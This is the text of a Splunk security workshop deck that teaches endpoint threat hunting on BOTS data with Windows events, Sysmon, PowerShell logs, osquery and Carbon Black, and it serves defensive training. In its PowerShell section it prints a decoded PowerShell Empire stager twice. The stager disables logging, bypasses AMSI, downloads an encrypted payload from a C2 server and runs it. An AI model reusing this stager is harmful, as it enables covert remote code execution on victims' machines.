Splunking The Endpoint
Splunking The Endpoint
Splunking the
Endpoint for Security
Based on BOTS Data
Filtering? Really?
Our Focus
Today
Devices
What’s an
Endpoint?
(courtesy McAfee)
Closest to
Versatile
humans
Closest to
humans
Under protected
82%
of successful breaches
Versatile
Data-rich
involved an endpoint*
*SANS 2018 Endpoint Security Survey
© 2021 SPLUNK INC.
Users Hardware
Processes Memory
Cisco CSIRT…
(Valites/Bollinger, 2019)
© 2021 SPLUNK INC.
MITRE ATT&CK
https://attack.mitre.org/
Endpoint data provides insight into adversary tactics and techniques due to the fidelity of
the logging
Web Proxy
NG Endpoint Integrity
Protection Management
✓
Whitelisting
© 2021 SPLUNK INC.
The Universal
Forwarder
It’s More Than You Think
© 2021 SPLUNK INC.
Lightweight
Secure
Flexible
Centrally configurable
Scalable
© 2021 SPLUNK INC.
Process/Apps/FIM Perfmon
*Including PowerShell!
© 2021 SPLUNK INC.
Setting the
Scene
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
$whoareyou
Alice Bluebird
Security Analyst, Frothly
© 2021 SPLUNK INC.
Instances – Splunk
• <insert your instances>
• https://ws-ep-1-xxx.ws.o2.splunkit.io
• https://ws-ep-2-xxx.ws.o2.splunkit.io
• https://ws-ep-3-xxx.ws.o2.splunkit.io
Collecting
What You
Need
Microsoft Specific
© 2021 SPLUNK INC.
Hands-On:
Windows Event Code
Guidance
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
Click on 4688
© 2021 SPLUNK INC.
4 Click
Click 2
Set the data range to be “Between”
8/1/2019 and 8/3/2019
Click
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
2 Select “ALL”
1 4
Set Date Range: Click
Select “main”
Between August 1-3, 2019 3
Which events are we collecting that we
© 2021 SPLUNK INC.
Set the data range to be “Between” Enter the host “BTUN-L” 3 Click
2
1 8/1/2019 and 8/3/2019
© 2021 SPLUNK INC.
Challenge Questions
1. Based on the advice of the JP-CERT and Huntersforge, how many event codes do
these two sources jointly recommend? If we review the recommended Event Codes,
there is a difference of opinion between these entities. Review the top 10 most
recommended event codes and provide the event codes that differed between the two
organizations.
2. What Windows Event System event codes have been seen on at least 10 hosts but
are probably not needed based on data collected between August 1 and 3 for from the
main index?
3. The Treemap Analysis section of the navigation bar performs the same analysis as
the Table Analysis section but displays data in a graphical format. Generate a treemap
based on data collected between August 1-3, 2020 that has at least 4 recommenders
from all sources and the main index.
© 2021 SPLUNK INC.
Question #1
Lookup Overview
1. Based on the advice of the JP-CERT and Huntersforge, how many event codes do
these two sources jointly recommend? If we review the recommended Event Codes,
there is a difference of opinion between these entities. Review the top 10 most
recommended event codes and provide the event codes that differed between the two
organizations.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #2
Other Events Table
What Windows Event System event codes have been seen on at least 10 hosts but are
probably not needed based on data collected between August 1 and 3 for from the main
index?
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #3
Recommended Events Treemap
The Treemap Analysis section of the navigation bar performs the same analysis as the
Table Analysis section but displays data in a graphical format.
Generate a treemap based on data collected between August 1-3, 2020 that has at least
4 recommenders from all sources and the main index.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Case Study #1
BOTS Endpoint Configuration
Latest (at the time) UF (7.3.x) on every endpoint
Latest Windows TA with all standard scripted inputs enabled except none of the “Mon” inputs (regmon,
netmon, printmon, etc)
Windows Security, System, Application Events using Michael Gough’s audit config and some filtering on
Security events
Microsoft Sysmon v10 with Olaf Hartong’s latest config + some more Splunk filtering tweaks
CB Response with watchlists and five standard threat feeds, as well as netconn and process events
Splunk Stream collecting DNS, HTTP, TCP, UDP, DHCP and a few other protocols
To gauge ingest levels we look at only Windows Events, Sysmon, Scripted TA output, and PowerShell
© 2021 SPLUNK INC.
Case Study #2
Large, Fortune 500 company based in the US
NOT COLLECT: File modifications, registry modifications, and module loads: diminishing
returns from both Splunk license and storage perspective…
• (and if you need to, you can always hunt this stuff in the native tool.)
Case Study #3
A Great Example of Filtering!
1700 endpoints
Windows
Event Logs
© 2021 SPLUNK INC.
4688
WinEventLog:Security
https://docs.microsoft.com/en-us/windows-server/identity/ad-
ds/manage/component-updates/command-line-process-auditing
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Warm-Up Question
Hints
• index - botsv3
• sourcetype - wineventlog
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Warm-Up Question
Question #1
Events from Other Applications
Different applications can log to Windows Events. Symantec Anti-virus is doing that in our
Splunk instance. Based on that, are any Frothly systems recording security events based
on Symantec Anti-virus? If they are, what signatures are being recorded and on what
systems?
Hints
• Drill into the Windows Application events from our previous search
• Check out the field SourceName to find applications that integrate with the Windows Event logging service
• The Windows Event message field has loads of information in it
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
| stats Command
https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Stats
Values (values)
Group By (by)
Question #1
Events from Other Applications
Different applications can log to Windows Events. Symantec Anti-virus is doing that in our
Splunk instance. Based on that, are any Frothly systems recording security events based
on Symantec Anti-virus? If they are, what signatures are being recorded and on what
systems?
Question #2
Process Execution in Windows
One of the users whose anti-virus did not alert for Backdoor.PsEmpire was the
administrator, Bud Stoll. Can we find evidence of PowerShell Empire activity on his
system and any network artifacts associated with it?
Hints
• Source - WinEventLog:Security
• The event code for Process Execution is 4688
• Bud’s host is BSTOLL-L
• Look for PowerShell but you may need to decode it
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
NOTE: You may need to copy the base64 out of the raw event to get all of the characters!
© 2021 SPLUNK INC.
https://gchq.github.io/CyberChef/
© 2021 SPLUNK INC.
if($psversiontable.psversion.major -ge
3){$gpf=[ref].assembly.gettype('system.management.automation.utils')."getfie`ld"('cachedgrouppolicysettings','n'+'on
public,static');if($gpf){$gpc=$gpf.getvalue($null);if($gpc['scriptb'+'locklogging']){$gpc['scriptb'+'locklogging']['enablesc
riptb'+'locklogging']=0;$gpc['scriptb'+'locklogging']['enablescriptblockinvocationlogging']=0}$val=[collections.generic.d
ictionary[string,system.object]]::new();$val.add('enablescriptb'+'locklogging',0);$val.add('enablescriptblockinvocationl
ogging',0);$gpc['hkey_local_machine\software\policies\microsoft\windows\powershell\scriptb'+'locklogging']=$val}els
e{[scriptblock]."getfie`ld"('signatures','n'+'onpublic,static').setvalue($null,(new-object
collections.generic.hashset[string]))}$ref=[ref].assembly.gettype('system.management.automation.amsiutils');$ref.get
field('amsiinitfailed','nonpublic,static').setvalue($null,$true);};[system.net.servicepointmanager]::expect100continue=
0;$wc=new-object system.net.webclient;$u='mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; rv:11.0) like
gecko';[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};$wc.headers.add('user-
agent',$u);$wc.headers.add('user-
agent',$u);$wc.proxy=[system.net.webrequest]::defaultwebproxy;$wc.proxy.credentials =
[system.net.credentialcache]::defaultnetworkcredentials;$script:proxy =
$wc.proxy;$k=[system.text.encoding]::ascii.getbytes('1ab<yk6z4#+vvu%o5}8&m-
9ul~l|>0gp');$r={$d,$k=$args;$s=0..255;0..255|%{$j=($j+$s[$_]+$k[$_%$k.count])%256;$s[$_],$s[$j]=$s[$j],$s[$_]};
$d|%{$i=($i+1)%256;$h=($h+$s[$i])%256;$s[$i],$s[$h]=$s[$h],$s[$i];$_-
bxor$s[($s[$i]+$s[$h])%256]}};$ser=$([text.encoding]::unicode.getstring([convert]::frombase64string('aab0ahqacabz
adoalwavadqanqauadcanwauaduamwauadeanwa2adoanaa0adma')));$t='/admin/get.php';$wc.headers.add("cookie"
,"pthavgs=bkqxpuod5lpcjyfrc1bxpqq8fwi=");$data=$wc.downloaddata($ser+$t);$iv=$data[0..3];$data=$data[4..$data
.length];-join[char[]](& $r $data ($iv+$k))|iex
© 2021 SPLUNK INC.
if($psversiontable.psversion.major -ge
3){$gpf=[ref].assembly.gettype('system.management.automation.utils')."getfie`ld"('cachedgrouppolicysettings','n'+'on
public,static');if($gpf){$gpc=$gpf.getvalue($null);if($gpc['scriptb'+'locklogging']){$gpc['scriptb'+'locklogging']['enablesc
riptb'+'locklogging']=0;$gpc['scriptb'+'locklogging']['enablescriptblockinvocationlogging']=0}$val=[collections.generic.d
ictionary[string,system.object]]::new();$val.add('enablescriptb'+'locklogging',0);$val.add('enablescriptblockinvocationl
ogging',0);$gpc['hkey_local_machine\software\policies\microsoft\windows\powershell\scriptb'+'locklogging']=
$val}else{[scriptblock]."getfie`ld"('signatures','n'+'onpublic,static').setvalue($null,(new-object
collections.generic.hashset[string]))}$ref=[ref].assembly.gettype('system.management.automation.amsiutils');$ref.get
field('amsiinitfailed','nonpublic,static').setvalue($null,$true);};[system.net.servicepointmanager]::expect100continue=
0;$wc=new-object system.net.webclient;$u='mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; rv:11.0) like
gecko';[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};$wc.headers.add('user-
agent',$u);$wc.headers.add('user-
agent',$u);$wc.proxy=[system.net.webrequest]::defaultwebproxy;$wc.proxy.credentials =
[system.net.credentialcache]::defaultnetworkcredentials;$script:proxy =
$wc.proxy;$k=[system.text.encoding]::ascii.getbytes('1ab<yk6z4#+vvu%o5}8&m-
9ul~l|>0gp');$r={$d,$k=$args;$s=0..255;0..255|%{$j=($j+$s[$_]+$k[$_%$k.count])%256;$s[$_],$s[$j]=$s[$j],$s[$_]};
$d|%{$i=($i+1)%256;$h=($h+$s[$i])%256;$s[$i],$s[$h]=$s[$h],$s[$i];$_-
bxor$s[($s[$i]+$s[$h])%256]}};$ser=$([text.encoding]::unicode.getstring([convert]::frombase64string('aab0ahqacabz
adoalwavadqanqauadcanwauaduamwauadeanwa2adoanaa0adma')));$t='/admin/get.php';$wc.headers.add("co
okie","pthavgs=bkqxpuod5lpcjyfrc1bxpqq8fwi=");$data=$wc.downloaddata($ser+$t);$iv=$data[0..3];$data=$data[4..
$data.length];-join[char[]](& $r $data ($iv+$k))|iex
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #2
Process Execution in Windows
One of the users whose anti-virus did not alert for Backdoor.PsEmpire was the
administrator, Bud Stoll. Can we find evidence of PowerShell Empire activity on his
system and any network artifacts associated with it?
/admin/get.php
Microsoft
Sysmon
Primer
© 2021 SPLUNK INC.
Microsoft Sysmon
Primer
Microsoft Sysmon
It Keeps Getting Better and Better!
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
© 2021 SPLUNK INC.
Event Codes 12, 13, 14: Registry key creation, deletion, and modification
• More flexible/performant than registry monitoring built into UF
• More persistent delivery than UF due to event log mechanism
Classic or XML?
renderXML=true is the DEFAULT for Windows TA since 6.0
[WinEventLog://Security]
index=security
(Applies to both Sysmon and Windows TA…)
current_only=1
evt_resolve_ad_obj=0
renderXml=true
disabled=0
© 2021 SPLUNK INC.
Classic or XML?
Why should I consider using renderXML across all endpoints?
Classic or XML?
The language issue
© 2021 SPLUNK INC.
Classic or XML?
Keywords?
© 2021 SPLUNK INC.
Sysmon Example
Event Code 3 – Network Connect
© 2021 SPLUNK INC.
Sysmon Configuration
Sysmon can be configured to collect or not collect based upon an xml file that matches
against specific fields
Example
Exclusions for
EventCode 2
© 2021 SPLUNK INC.
with network
events ???
without network
events
© 2021 SPLUNK INC.
Clever network
filtering (the config is
chock full of stuff like this)
© 2021 SPLUNK INC.
Sysmon Mapping
Supported in Sysmon v8 and above
Hands-On:
Microsoft Sysmon
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Network Connect
FYODOR-L is observed running processes that based on their network connections might
be considered anomalous for a workstation. Which process(es) appear to be generating
odd network traffic?
Hints
• index – botsv3
• sourcetype - xmlwineventlog:microsoft-windows-sysmon/operational (Sysmon)
• EventCode – 3
• Check out the ports!
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
| stats Command
https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Stats
Values (values)
Group By (by)
Question #1
Network Connect
FYODOR-L is observed running processes that based on their network connections might
be considered anomalous for a workstation. Which process(es) appear to be generating
odd network traffic?
Yes, C:\Windows\Temp\hdoor.exe
Ports 135, 139, 21, 22, 3306, 443, 445, 80, 8000, 8080
Based on this, what might we hypothesize that this executable might do?
© 2021 SPLUNK INC.
Question #2
Process Creation
Question #2
Process Creation
Question #3
Try It Yourself!
It looks like FYODOR-L was used to perform some network discovery. What other
process was run on this host that may be masquerading as a legitimate process?
Hints
• index – botsv3
• sourcetype - xmlwineventlog:microsoft-windows-sysmon/operational (Sysmon)
• Event Code – 1
• Look for fields that might contain the process executed and group them to see which ones are most
frequently seen
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #3
Try It Yourself!
It looks like FYODOR-L was used to perform some network discovery. What other
process was run on this host that may be masquerading as a legitimate process?
iexeplorer.exe
Others?
© 2021 SPLUNK INC.
Question #4
Try It Yourself!
Hints
• Start where you left off in the previous question
• Sysmon Process Execution events contains detail down to the command line
• The table command can help you view events in a tabular layout
© 2021 SPLUNK INC.
1
Click
Click
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #4
Try It Yourself!
Would anyone want to share specific activities they found that are interesting?
© 2021 SPLUNK INC.
Question #5
Try It Yourself!
The system being referenced in the previous command listing has had something called
“colonel” compiled on it and executed. What is it?
Hints
• Build on our prior search
• Base64 can be decoded using tools like CyberChef (Copy/Paste) or in Splunk using an app like Decrypt (rex
command first)
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #5
Try It Yourself!
The system being referenced in the previous command listing has had something called
“colonel” compiled on it and executed. What is it?
PowerShell
Logging
© 2021 SPLUNK INC.
https://www.eventsentry.com/blog/201
8/01/powershell-p0wrh11-securing-
powershell.html
© 2021 SPLUNK INC.
https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/runtime/Com
piledScriptBlock.cs
© 2021 SPLUNK INC.
Hands-On:
Sysmon and
PowerShell Logs
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Pivoting from Sysmon Events to PowerShell Events
A pdf was created on a workstation. What makes this file creation puzzling is that the file
was created from a PowerShell process. What host was the file created on? What is the
name of the file?
Hints
• index – main (our most recent BOTS dataset is in “main” so be sure to use this…)
• sourcetype – xmlwineventlog:microsoft-windows-sysmon/operational (Sysmon)
• File Creation in Sysmon is Event Code 11
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Pivoting from Sysmon Events to PowerShell Events
A pdf was created on a workstation. What makes this file creation puzzling is that the file
was created the PowerShell process. What host was the file created on? What is the
name of the file?
Host: AGRADY-L
Filename: 2019-BrewCon-Sessions.pdf
© 2021 SPLUNK INC.
Question #2
Pivoting from Sysmon Events to PowerShell Events
Have we seen this file elsewhere in our Splunk instance? Are there any files associated
with this file that might be suspicious? What sourcetypes do we see referenced?
Hints
• index – main
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #2
Pivoting from Sysmon Events to PowerShell Events
Have we seen this file elsewhere in our Splunk instance? Are there any files associated
with this file that might be suspicious? What sourcetypes do we see referenced?
We only see one reference to the pdf but we do see other similar filename references,
including two .LNK files
Sourcetypes: WinEventLog:Microsoft-Windows-Powershell/Operational,
XmlWinEventLog:Microsoft-Windows-Sysmon/Operational, WinEventLog,
bit9:carbonblack:json, wdtap:alerts, stream:http, stream:ip, fgt_utm, xmlwineventlog
© 2021 SPLUNK INC.
Question #3
Pivoting from Sysmon Events to PowerShell Events
Because we initially saw the pdf being created by PowerShell, perhaps we can learn more
from PowerShell itself. What hosts have visibility into PowerShell and this pdf?
Hint
• Continue with the previous search but look specifically for PowerShell events
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #3
Pivoting from Sysmon Events to PowerShell Events
Because we initially saw the pdf being created by PowerShell, perhaps we can learn more
from PowerShell itself. What hosts have visibility into PowerShell and this pdf?
Question #4
Pivoting from Sysmon Events to PowerShell Events
Hint
• Continue with the previous search
• Make sure to expand events to see the entirety of the
events
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #4
Pivoting from Sysmon Events to PowerShell Events
osquery
Because “not everyone runs Windows.”
© 2021 SPLUNK INC.
(2017 McAfee)
© 2021 SPLUNK INC.
osquery
https://osquery.io/
Open source
Started by Facebook
FIM!
© 2021 SPLUNK INC.
osquery
“Query Con” was held – great resource for learning about basic and advanced topics:
• https://www.youtube.com/playlist?list=PLlSdCcsTOu5STvaoPlr-PJE-zbYmlAGrX
Luke Murphey released a community app that acts as a management server for osquery
clients – ask queries right from the Search Head!
• https://splunkbase.splunk.com/app/3902/
We continue to encounter large corporations using osquery + Splunk especially for non-
Windows endpoints
© 2021 SPLUNK INC.
osquery {
"queries": {
"file_events": {
Sample Configuration: BOTS "query": "select * from file_events;",
"removed": false,
"interval": 300
}
Default packs for Linux OS },
• https://github.com/facebook/osquery/tree/master/pack "file_paths": {
"homes": [
"/root/.ssh/%%",
Disabled native Linux auditd and used osquery’s "/home/%/.ssh/%%"
hook into it ],
"etc": [
"/etc/%%"
Interval collections between 60 and 300 seconds ],
"home": [
(note that _events tables have full activity fidelity) "/home/%%"
],
"tmp": [
Local UF to collect JSON output and stream into "/tmp/%%"
Splunk ]
}
}
© 2021 SPLUNK INC.
Hands-On:
osquery
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Command Line with osquery
We are made aware that there is potentially malicious activity targeting a server named
HOTH by a user called tomcat8. This is a Linux machine and we want to view commands
being run on the system. What kinds of activities is this user generating?
Hints
• index - botsv3
• sourcetype - osquery:results
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Commands executed
• columns.cmdline
Paths
• columns.path
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Command Line with osquery
We are made aware that there is potentially malicious activity targeting a server named
HOTH by a user called tomcat8. This is a Linux machine and we want to view commands
being run on the system. What kinds of activities is this user generating?
Activities Seen
• New user creation
• Netcat
• Execution of colonelnew – whatever that is?
• Inspecting /etc/passwd
• Others?
© 2021 SPLUNK INC.
Question #2
File Integrity Monitoring - Part 1
The adversary gained root privileges on HOTH and made external connections. We need
to think about what might be exfiltrated. What files are being manipulated locally on
HOTH?
Hints
• index – botsv3
• sourcetype - osquery:results
• Look at the different osquery modules (name) and select the one that is most likely going to help us when it
comes to file integrity monitoring
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #2
File Integrity Monitoring - Part 1
The adversary gained root privileges on HOTH and made external connections. We need
to think about what might be exfiltrated. What files are being manipulated locally on
HOTH?
© 2021 SPLUNK INC.
Question #3
File Integrity Monitoring – Part 2
The adversary gained root privileges on HOTH and made external connections. We need
to think about what might be exfiltrated. What files are being manipulated locally on
HOTH?
Question #3
File Integrity Monitoring - Part 2
The adversary gained root privileges on HOTH and made external connections. We need
to think about what might be exfiltrated. What files are being manipulated locally on
HOTH?
Cisco
Anyconnect
(NVM)
© 2021 SPLUNK INC.
https://www.cisco.com/c/en/us/support/docs/security/anyconnect-secure-
mobility-client/200600-Install-and-Configure-Cisco-Network-Visi.html
© 2021 SPLUNK INC.
Hands-On:
Cisco Anyconnect NVM
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Web Browsing
One user navigated to www.brewersassociation.org using Chrome. Who was that user?
Hints
• index – botsv3
• source - cisconvmflowdata
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Web Browsing
One user navigated to www.brewerassociation.org using Chrome. Who was that user?
This wasn’t designed to stump you but to highlight the fidelity of the data collected.
Mallory Kraeusen
© 2021 SPLUNK INC.
Question #2
Network Traffic
Frothly was spearphished, and the fake domain in the phish was “frothly.com”. If we
review our NVM events, we can see two IP addresses and one user associated with traffic
destined there. What are the total bytes_in and bytes_out for each address?
Hints
• index - botsv3
• source - Cisco NVM flow data
• Just because you have a domain doesn’t mean you shouldn’t consider subdomains as well
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #2
Network Traffic
Frothly.com was spearphished. If we review our NVM events, we can see two IP
addresses and one user associated with traffic destined there. What are the total bytes_in
and bytes_out for each address?
© 2021 SPLUNK INC.
Carbon Black
VMWare
© 2021 SPLUNK INC.
CB EDR
EDR Solution
JSON Output
CIM Compliant
• Endpoint
• Network Traffic
• Intrusion Detection
https://github.com/carbonblack/cb-event-forwarder
© 2021 SPLUNK INC.
Hands-On:
Sysmon Event 22 (DNS)
and CB
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Challenge Question
Combining Sysmon DNS Logging & CB Process Execution
There is evidence in the logs that the adversary has been on the Frothly network before. If
you trace that evidence, you will identify the FQDN that the adversary communicates with.
Once you identify this, you can pivot to the binary calling out and identify the binary and a
unique characteristic about how it communicates. Focus on laptops during the timeframe
between August 1-3, 2019.
Hints
• index - main
• Start with DNS events in Sysmon
• Laptops all have a host value that ends in “-L”
• The adversary utilizes dynamic DNS; a lookup exists called dynamic-dns.csv
© 2021 SPLUNK INC.
Question #1
Generate a Listing of Binaries that Made DNS Queries
Using the hints below, generate a list with a sorted count of the binaries executed that
make DNS queries.
Hints
• index - main
• Start with DNS events in Sysmon (xmlwineventlog:microsoft-windows-sysmon/operational)
• Laptops all have a host value that ends in “-L”
• Timeframe - Between August 1-3, 2019
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Generate a Listing of Binaries that Made DNS Queries
Using the hints below, generate a list with a sorted count of the binaries executed that
make DNS queries
Question #2
Extracting Domains
https://splunkbase.splunk.com/app/2734/
Hints
• Build off our previous search
• There are lots of options in URL toolbox but today we will
use the following two commands together in our search
– | eval list="iana"
– | `ut_parse_extended(<fieldname>,list)`
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #2
Extracting Domains
Question #3
Comparing Domains
Use our newly parsed domains to compare them to the list of Dynamic DNS providers
(dynamic-dns.csv) and determine if there are any Dynamic DNS domains in our events.
Hints
• Build off our previous search
• The lookup command will help provide that matching
• The inputlookup command can help you view the contents of a lookup
• Limit your search to just fields you feel are relevant
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #3
Comparing Domains
Use our newly parsed domains to compare them to the list of Dynamic DNS providers
(dynamic-dns.csv) and determine if there are any Dynamic DNS domains in our events.
frenchconnection.servebeer.com
One domain was associated with a Dynamic DNS provider…servebeer.com
Question #4
Associate Dynamic DNS to Binary
With our newly found suspicious QueryName value, generate a list of binaries and hosts
with counts that are associated with this domain.
Hints
• Leverage our previous search and simplify it
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #4
Associate Dynamic DNS to Binary
With our newly found suspicious QueryName value, generate a list of binaries and hosts
with counts that are associated with this domain.
Question #5
Identify Binary Characteristics
What unique characteristic does one of those Image (binary) values have that would
validate that the adversary has been on the Frothly network in the past.
Hints
• This data does not exist in Sysmon, use CarbonBlack instead
• Isolate on events on the suspicious hosts
• Type - ingress.event.procstart
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #5
Identify Binary Characteristics
What unique characteristic does one of those Image values have that would validate that
the adversary has been on the Frothly network in the past?
Whether it is or isn’t, would you expect something like that to run at that frequency?
Common Information
Model / Data Models
© 2021 SPLUNK INC.
Change - Describe audit, endpoint, network and accounts and their associated create, read, update,
and delete activities
Event Signatures – New to CIM 4.15 and stores Windows EventID and associated hosts
Updates - Describes patch management events from individual systems or central management tools
Web - Describes web server and/or proxy server data in a security or operational context
© 2021 SPLUNK INC.
Endpoint Content:
Enterprise Security Content Updates
Splunk Security Essentials
© 2021 SPLUNK INC.
Hands-On:
ESCU and SSE
© 2021 SPLUNK INC.
Question #1
Splunk Security Essentials
As we review our endpoint data, do we have any executables running that might be
masquerading as legitimate executables but are using a similar, but slightly different name
to evade suspicion?
Hints
• Use Splunk Security Essentials
• lookalike is a good word to search for
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Type “lookalike”
1
Click 2
© 2021 SPLUNK INC.
Click
MITRE ATT&CK,
Kill Chain &
Data Sources
© 2021 SPLUNK INC.
Click to Expand
Contextual
Information
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
3
1 Click
Between 8/19/2018
and 8/21/2018
4 2
Click
Click
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #1
Security Essentials
As we look at our endpoint data, do we have any executables running that might be
masquerading as legitimate executables but are using a similar, but slightly different name
to evade suspicion?
Two outlier files that bear additional investigation: sihost.exe and iexeplorer.exe
© 2021 SPLUNK INC.
Question #2
Enterprise Security Content Update
Remote desktop should only be run on certain systems within our environment. Find the
lateral movement analytic story and review the detection searches and find the detection
search that best meets our requirement and determine which systems are running
Remote Desktop.
Hints
• Use Enterprise Security Content Update
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Click
© 2021 SPLUNK INC.
1
Click
2
Click
© 2021 SPLUNK INC.
© 2021 SPLUNK INC.
Question #2
Enterprise Security Content Update
Remote desktop should only be run on certain systems within our environment. Find the
lateral movement analytic story and review the detection searches and find the detection
search that best meets our requirement and determine which systems and users are
running Remote Desktop.
Destination: AGRADY-L
User: frothly_helpdesk
© 2021 SPLUNK INC.
Conclusion
© 2021 SPLUNK INC.
Wrapping Up
Endpoint data provides crucial insight
NSA
• https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm
Andrea Fortuna
• https://www.andreafortuna.org/2019/06/12/windows-security-event-logs-my-own-cheatsheet/
ASD
• https://www.cyber.gov.au/publications/windows-event-logging-and-forwarding
JP-CERT
• https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf
© 2021 SPLUNK INC.
Security
Security Lunch Hunting in the Investigating
Operations Suite Boss of the SOC
n’ Learn Hands-On MS Cloud with Splunk
Thank You